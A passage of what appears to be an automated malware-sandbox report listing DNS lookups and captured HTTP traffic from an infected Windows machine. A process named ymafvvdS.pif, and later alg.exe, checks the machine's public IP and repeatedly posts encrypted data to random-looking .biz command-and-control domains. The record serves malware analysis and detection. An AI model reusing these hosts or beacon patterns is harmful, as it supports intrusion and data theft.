Dec 10, 2024 07:05:58.924352884 CET	192.168.2.9	1.1.1.1	0x8e23	Standard query (0)	lpuegx.biz	A (IP address)	IN (0x0001)	false
Dec 10, 2024 07:06:42.456146955 CET	192.168.2.9	1.1.1.1	0x578a	Standard query (0)	vjaxhpbji.biz	A (IP address)	IN (0x0001)	false
Dec 10, 2024 07:06:44.169616938 CET	192.168.2.9	1.1.1.1	0xa1e5	Standard query (0)	vjaxhpbji.biz	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 10, 2024 07:05:21.528405905 CET	1.1.1.1	192.168.2.9	0x5658	No error (0)	lwaziacademy.com		41.185.8.252	A (IP address)	IN (0x0001)	false
Dec 10, 2024 07:05:21.528434038 CET	1.1.1.1	192.168.2.9	0x5658	No error (0)	lwaziacademy.com		41.185.8.252	A (IP address)	IN (0x0001)	false
Dec 10, 2024 07:05:34.531740904 CET	1.1.1.1	192.168.2.9	0x1751	No error (0)	pywolwnvd.biz		54.244.188.177	A (IP address)	IN (0x0001)	false
Dec 10, 2024 07:05:34.613818884 CET	1.1.1.1	192.168.2.9	0xcc9f	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 07:05:34.613818884 CET	1.1.1.1	192.168.2.9	0xcc9f	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Dec 10, 2024 07:05:34.613818884 CET	1.1.1.1	192.168.2.9	0xcc9f	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Dec 10, 2024 07:05:34.613818884 CET	1.1.1.1	192.168.2.9	0xcc9f	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Dec 10, 2024 07:05:34.613818884 CET	1.1.1.1	192.168.2.9	0xcc9f	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Dec 10, 2024 07:05:34.613818884 CET	1.1.1.1	192.168.2.9	0xcc9f	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Dec 10, 2024 07:05:36.762520075 CET	1.1.1.1	192.168.2.9	0xd997	No error (0)	reallyfreegeoip.org		104.21.67.152	A (IP address)	IN (0x0001)	false
Dec 10, 2024 07:05:36.762520075 CET	1.1.1.1	192.168.2.9	0xd997	No error (0)	reallyfreegeoip.org		172.67.177.134	A (IP address)	IN (0x0001)	false
Dec 10, 2024 07:05:36.805236101 CET	1.1.1.1	192.168.2.9	0xbe6b	No error (0)	ssbzmoy.biz		18.141.10.107	A (IP address)	IN (0x0001)	false
Dec 10, 2024 07:05:38.900460005 CET	1.1.1.1	192.168.2.9	0x8e2d	No error (0)	pywolwnvd.biz		54.244.188.177	A (IP address)	IN (0x0001)	false
Dec 10, 2024 07:05:39.509748936 CET	1.1.1.1	192.168.2.9	0xe26	No error (0)	cvgrf.biz		54.244.188.177	A (IP address)	IN (0x0001)	false
Dec 10, 2024 07:05:40.642160892 CET	1.1.1.1	192.168.2.9	0xe499	No error (0)	ssbzmoy.biz		18.141.10.107	A (IP address)	IN (0x0001)	false
Dec 10, 2024 07:05:41.576323986 CET	1.1.1.1	192.168.2.9	0x541a	No error (0)	npukfztj.biz		44.221.84.105	A (IP address)	IN (0x0001)	false
Dec 10, 2024 07:05:43.038377047 CET	1.1.1.1	192.168.2.9	0x1613	No error (0)	cvgrf.biz		54.244.188.177	A (IP address)	IN (0x0001)	false
Dec 10, 2024 07:05:43.253587961 CET	1.1.1.1	192.168.2.9	0x4c43	No error (0)	przvgke.biz		172.234.222.143	A (IP address)	IN (0x0001)	false
Dec 10, 2024 07:05:43.253587961 CET	1.1.1.1	192.168.2.9	0x4c43	No error (0)	przvgke.biz		172.234.222.138	A (IP address)	IN (0x0001)	false
Dec 10, 2024 07:05:44.730432034 CET	1.1.1.1	192.168.2.9	0x1e7c	No error (0)	npukfztj.biz		44.221.84.105	A (IP address)	IN (0x0001)	false
Dec 10, 2024 07:05:44.743771076 CET	1.1.1.1	192.168.2.9	0xf99	No error (0)	ww99.przvgke.biz		72.52.179.174	A (IP address)	IN (0x0001)	false
Dec 10, 2024 07:05:46.221590996 CET	1.1.1.1	192.168.2.9	0xd53	No error (0)	przvgke.biz		172.234.222.143	A (IP address)	IN (0x0001)	false
Dec 10, 2024 07:05:46.221590996 CET	1.1.1.1	192.168.2.9	0xd53	No error (0)	przvgke.biz		172.234.222.138	A (IP address)	IN (0x0001)	false
Dec 10, 2024 07:05:46.445831060 CET	1.1.1.1	192.168.2.9	0xc962	No error (0)	webmail.thematman.com.au		103.20.200.105	A (IP address)	IN (0x0001)	false
Dec 10, 2024 07:05:52.713200092 CET	1.1.1.1	192.168.2.9	0x998a	No error (0)	ww12.przvgke.biz	084725.parkingcrew.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 07:05:52.713200092 CET	1.1.1.1	192.168.2.9	0x998a	No error (0)	084725.parkingcrew.net		13.248.148.254	A (IP address)	IN (0x0001)	false
Dec 10, 2024 07:05:52.713200092 CET	1.1.1.1	192.168.2.9	0x998a	No error (0)	084725.parkingcrew.net		76.223.26.96	A (IP address)	IN (0x0001)	false
Dec 10, 2024 07:05:52.760778904 CET	1.1.1.1	192.168.2.9	0x8fa1	No error (0)	ww7.przvgke.biz	76899.bodis.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 07:05:52.760778904 CET	1.1.1.1	192.168.2.9	0x8fa1	No error (0)	76899.bodis.com		199.59.243.227	A (IP address)	IN (0x0001)	false
Dec 10, 2024 07:05:54.223753929 CET	1.1.1.1	192.168.2.9	0xc1ff	Name error (3)	zlenh.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 10, 2024 07:05:54.697482109 CET	1.1.1.1	192.168.2.9	0xb6f9	No error (0)	knjghuig.biz		18.141.10.107	A (IP address)	IN (0x0001)	false
Dec 10, 2024 07:05:56.229682922 CET	1.1.1.1	192.168.2.9	0xf068	Name error (3)	zlenh.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 10, 2024 07:05:56.367852926 CET	1.1.1.1	192.168.2.9	0xdfc4	No error (0)	knjghuig.biz		18.141.10.107	A (IP address)	IN (0x0001)	false
Dec 10, 2024 07:05:57.107588053 CET	1.1.1.1	192.168.2.9	0x841c	Name error (3)	uhxqin.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 10, 2024 07:05:57.323951006 CET	1.1.1.1	192.168.2.9	0xa868	Name error (3)	anpmnmxo.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 10, 2024 07:05:58.339792013 CET	1.1.1.1	192.168.2.9	0x5924	No error (0)	lpuegx.biz		82.112.184.197	A (IP address)	IN (0x0001)	false
Dec 10, 2024 07:05:58.457187891 CET	1.1.1.1	192.168.2.9	0x5924	No error (0)	lpuegx.biz		82.112.184.197	A (IP address)	IN (0x0001)	false
Dec 10, 2024 07:05:58.782947063 CET	1.1.1.1	192.168.2.9	0xd307	Name error (3)	uhxqin.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 10, 2024 07:05:58.923464060 CET	1.1.1.1	192.168.2.9	0x985a	Name error (3)	anpmnmxo.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 10, 2024 07:05:59.061625957 CET	1.1.1.1	192.168.2.9	0x8e23	No error (0)	lpuegx.biz		82.112.184.197	A (IP address)	IN (0x0001)	false
Dec 10, 2024 07:06:43.388295889 CET	1.1.1.1	192.168.2.9	0x578a	No error (0)	vjaxhpbji.biz		82.112.184.197	A (IP address)	IN (0x0001)	false
Dec 10, 2024 07:06:44.307065964 CET	1.1.1.1	192.168.2.9	0xa1e5	No error (0)	vjaxhpbji.biz		82.112.184.197	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

lwaziacademy.com

reallyfreegeoip.org

pywolwnvd.biz

checkip.dyndns.org

ssbzmoy.biz

cvgrf.biz

npukfztj.biz

przvgke.biz

ww99.przvgke.biz

ww12.przvgke.biz

ww7.przvgke.biz

knjghuig.biz

lpuegx.biz

vjaxhpbji.biz

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49709	54.244.188.177	80	7996	C:\Users\Public\Libraries\ymafvvdS.pif

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 07:05:34.720594883 CET	350	OUT	POST /nimjw HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: pywolwnvd.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 802
Dec 10, 2024 07:05:34.720594883 CET	802	OUT	Data Raw: b5 c1 9b 81 1f 42 13 60 16 03 00 00 66 ba a4 50 af c0 50 f2 ca 02 8c a2 99 b4 dc 45 d1 f5 a5 62 ba cf 73 0f 7b 95 db c2 49 97 67 d8 53 28 67 e3 00 13 e4 92 7c e0 fd 63 f1 74 c3 5c 58 49 7b fd 47 cb eb 96 c7 76 39 2a 5f ff 07 d6 ed 55 b6 b6 32 b6 Data Ascii: B`fPPEbs{IgS(g\|ct\XI{Gv9*_U2[5J=w^QWV\khOcW$"i(;(w=rdn9H }BYN{m$MIx'JLirV$Kq~~1f
Dec 10, 2024 07:05:36.061935902 CET	413	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 10 Dec 2024 06:05:35 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=68d67ed680651f244aab0a09a47772a7\|8.46.123.228\|1733810735\|1733810735\|0\|1\|0; path=/; domain=.pywolwnvd.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=8.46.123.228; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49710	158.101.44.242	80	7996	C:\Users\Public\Libraries\ymafvvdS.pif

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 07:05:34.749125004 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 10, 2024 07:05:35.985436916 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 06:05:35 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 508cd42645da4c9f619d8e5a8af07ce4 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>
Dec 10, 2024 07:05:36.171304941 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Dec 10, 2024 07:05:36.547095060 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 06:05:36 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 7d0fb38e2d90ffe7dac24b8f7130ae34 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>
Dec 10, 2024 07:05:45.488719940 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Dec 10, 2024 07:05:45.862093925 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 06:05:45 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 27a89da4e72b6cbf58995bfc17fed7d6 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.9	49713	18.141.10.107	80	7996	C:\Users\Public\Libraries\ymafvvdS.pif

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 07:05:36.974234104 CET	346	OUT	POST /jae HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: ssbzmoy.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 802
Dec 10, 2024 07:05:36.974292040 CET	802	OUT	Data Raw: 02 82 ad 59 40 75 07 f1 16 03 00 00 af a1 08 5a 48 0d b9 52 84 09 62 42 46 a6 f8 54 97 e5 52 40 69 a0 1e 1b cc 34 7e eb 14 91 0a b5 71 05 65 5b 12 69 8c b4 71 7e e2 76 2c dc de 02 82 c5 bf f6 d9 22 c7 59 d1 92 de 00 e7 8e 9b 7f fd f8 cf 13 af 29 Data Ascii: Y@uZHRbBFTR@i4~qe[iq~v,"Y)7Z6>Vp0:_2T;1<Z\x^`#%dJO3bSbmJ$/z\|y}\>)Uay&1X>m*AFB)4yp$bM<zM3z
Dec 10, 2024 07:05:39.014857054 CET	411	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 10 Dec 2024 06:05:38 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=f435a1d2f0e2efd83fa870afa4fc631b\|8.46.123.228\|1733810738\|1733810738\|0\|1\|0; path=/; domain=.ssbzmoy.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=8.46.123.228; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.9	49715	54.244.188.177	80	7276	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 07:05:39.074668884 CET	348	OUT	POST /kka HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: pywolwnvd.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Dec 10, 2024 07:05:39.074693918 CET	778	OUT	Data Raw: b8 1d 04 bc 3f e1 e7 c0 fe 02 00 00 57 1b 24 a4 22 8c cf 0a 12 a7 82 a1 55 ca bd f0 fa 37 24 20 66 74 ab 6b a0 ac b4 a1 6c e9 46 d7 b6 31 99 7a d5 f2 3a 9d 6b e3 2e 6b 7a b8 4c 98 d5 02 cc 0e 5c 25 df 05 a4 20 21 31 e4 0c 92 ab 5c ae de 4e 3b 38 Data Ascii: ?W$"U7$ ftklF1z:k.kzL\% !1\N;8)6zpQ Z.m<?sNSG\/9:Wz;D0)4JM?}&Q(32}E_N:_oP4G.{'knM\|W
Dec 10, 2024 07:05:40.414022923 CET	413	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 10 Dec 2024 06:05:40 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=dd794f5222cebeedcd6471706afb475b\|8.46.123.228\|1733810740\|1733810740\|0\|1\|0; path=/; domain=.pywolwnvd.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=8.46.123.228; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.9	49717	54.244.188.177	80	7996	C:\Users\Public\Libraries\ymafvvdS.pif

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 07:05:39.656440020 CET	345	OUT	POST /fapn HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: cvgrf.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 802
Dec 10, 2024 07:05:39.656440020 CET	802	OUT	Data Raw: 4b c6 79 24 48 1f c3 8e 16 03 00 00 1c a9 0f 79 a0 e9 b4 a4 df bc 0a 5a a9 6e 95 31 38 7a 3d 8e 4f 0b fc 97 63 43 84 e1 db 8f d7 bf 6a 7e 96 8e 88 21 82 30 25 03 b6 25 96 22 bd d6 c5 e8 6a ed 5b 86 f9 64 a2 fa 5a b1 7d c7 1a b4 fa 24 80 b7 9c b1 Data Ascii: Ky$HyZn18z=OcCj~!0%%"j[dZ}$K@V;%'#6yUc4zCe%P~"lQjETMFj1zq\`xT&*A,l1iW&uhU;zZa4ti+]nx7RoSi4i6ijXyXe3)vh
Dec 10, 2024 07:05:40.996707916 CET	409	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 10 Dec 2024 06:05:40 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=b6241afb6f0e7a61be300cb479982f9f\|8.46.123.228\|1733810740\|1733810740\|0\|1\|0; path=/; domain=.cvgrf.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=8.46.123.228; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.9	49718	18.141.10.107	80	7276	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 07:05:40.804321051 CET	356	OUT	POST /fupmvmgjbhmts HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: ssbzmoy.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Dec 10, 2024 07:05:40.804337978 CET	778	OUT	Data Raw: 22 2d 3a f5 cf 12 06 63 fe 02 00 00 21 ca 47 8a 89 f0 fe 05 e5 54 a6 c0 08 45 30 a5 92 2d ff 93 e7 56 e0 6a ca 1f 8f 77 88 54 27 0f dd c7 af 8f a1 b9 66 a8 74 ed 5e 81 e7 af 62 41 77 e5 30 c9 7b 6a 41 e1 45 2f 5d 1c 89 e6 d6 d7 5b 48 a0 ff c3 09 Data Ascii: "-:c!GTE0-VjwT'ft^bAw0{jAE/][H/.Fiy^MsuwAS\|H6\|qe<bM?Cv,:tV["*lSTS0fFqHiPY]8@0W1`
Dec 10, 2024 07:05:42.842129946 CET	411	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 10 Dec 2024 06:05:42 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=34b0590def71f49f74c10f5480a5b016\|8.46.123.228\|1733810742\|1733810742\|0\|1\|0; path=/; domain=.ssbzmoy.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=8.46.123.228; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.9	49719	44.221.84.105	80	7996	C:\Users\Public\Libraries\ymafvvdS.pif

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 07:05:41.822365046 CET	359	OUT	POST /xujrrbphgxpfxye HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: npukfztj.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 802
Dec 10, 2024 07:05:41.822403908 CET	802	OUT	Data Raw: 33 2c 8b 7d a6 a0 02 d8 16 03 00 00 45 e1 84 11 e8 2c 99 ec 6e b8 9a 8d 5a e5 ef 43 2f 72 6f cc 9f aa 29 2c 82 04 94 2e 7e a7 f1 e9 9e 50 ed 6c 4f 52 48 23 72 99 33 8c f9 ff f0 1a 05 33 a6 2d ab 35 d2 5a a0 b0 53 7a 83 cb fa 44 4d 62 3b 2a 75 8d Data Ascii: 3,}E,nZC/ro),.~PlORH#r33-5ZSzDMb;u@p<\|/b&9od-T{&'u0,cK`%>r#%O~s>z$@\F*uy9c _\)S_4ZC>}L]F`}JEF\;
Dec 10, 2024 07:05:42.919414043 CET	412	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 10 Dec 2024 06:05:42 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=cbf3286d4089f0f57781e27b4d132dea\|8.46.123.228\|1733810742\|1733810742\|0\|1\|0; path=/; domain=.npukfztj.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=8.46.123.228; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.9	49720	54.244.188.177	80	7276	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 07:05:43.213071108 CET	351	OUT	POST /npdqgsoqmq HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: cvgrf.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
Dec 10, 2024 07:05:43.213103056 CET	778	OUT	Data Raw: 4f 98 9e 56 80 01 b3 69 fe 02 00 00 9e 7c 63 36 ed c0 fe 6d ee b1 89 5e f1 20 f1 d4 9d 7d c4 ae 82 09 37 8a 6d 46 ad 44 76 74 34 70 c3 3f 67 ce c8 13 9d bd 7f 6e ad 13 65 7c ce 29 69 4f ef 1b e9 78 62 fc 40 54 89 ec ee 38 c5 bc 46 80 4b ba 68 e3 Data Ascii: OVi\|c6m^ }7mFDvt4p?gne\|)iOxb@T8FKhG&&f/w']`!\d'eswRo69T=9)q%n?(B1[dd47xl<.X&#(d/l`[J.o }H?&LV5VC
Dec 10, 2024 07:05:44.555583954 CET	409	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 10 Dec 2024 06:05:44 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=44889ad4660603b1fdacd52293a7486b\|8.46.123.228\|1733810744\|1733810744\|0\|1\|0; path=/; domain=.cvgrf.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=8.46.123.228; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.9	49721	172.234.222.143	80	7996	C:\Users\Public\Libraries\ymafvvdS.pif

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 07:05:43.380510092 CET	353	OUT	POST /obujsmdylt HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: przvgke.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 802
Dec 10, 2024 07:05:43.380527020 CET	802	OUT	Data Raw: ed 5c 2a 22 05 28 c7 82 16 03 00 00 c1 dc 74 8a 94 61 04 e2 4a b5 e5 2e 90 7e 43 af e8 1a 32 76 51 65 9d 52 ad 0e 7f 18 de 43 82 d2 28 ab cf fa 18 13 3b aa 16 3c 5f 29 19 5d 95 cf 6d 7f c4 25 53 03 7c e0 e2 fb 09 98 e7 7e 5f cf 67 cc 6e 1a 63 da Data Ascii: \"(taJ.~C2vQeRC(;<_)]m%S\|~_gncJdXR4C$~}~.\|W?2N"f6b&!\|-^'Qa(1{FgxJ66OWYeq]v7llhHVt#g5CbURWqY
Dec 10, 2024 07:05:44.509558916 CET	472	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Tue, 10 Dec 2024 06:05:44 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.przvgke.biz/obujsmdylt Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.9	49722	72.52.179.174	80	7996	C:\Users\Public\Libraries\ymafvvdS.pif

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 07:05:44.864082098 CET	336	OUT	GET /obujsmdylt HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Host: ww99.przvgke.biz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.9	49723	44.221.84.105	80	7276	C:\Windows\System32\alg.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 07:05:44.879489899 CET	354	OUT	POST /cbecuogqej HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: npukfztj.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 778
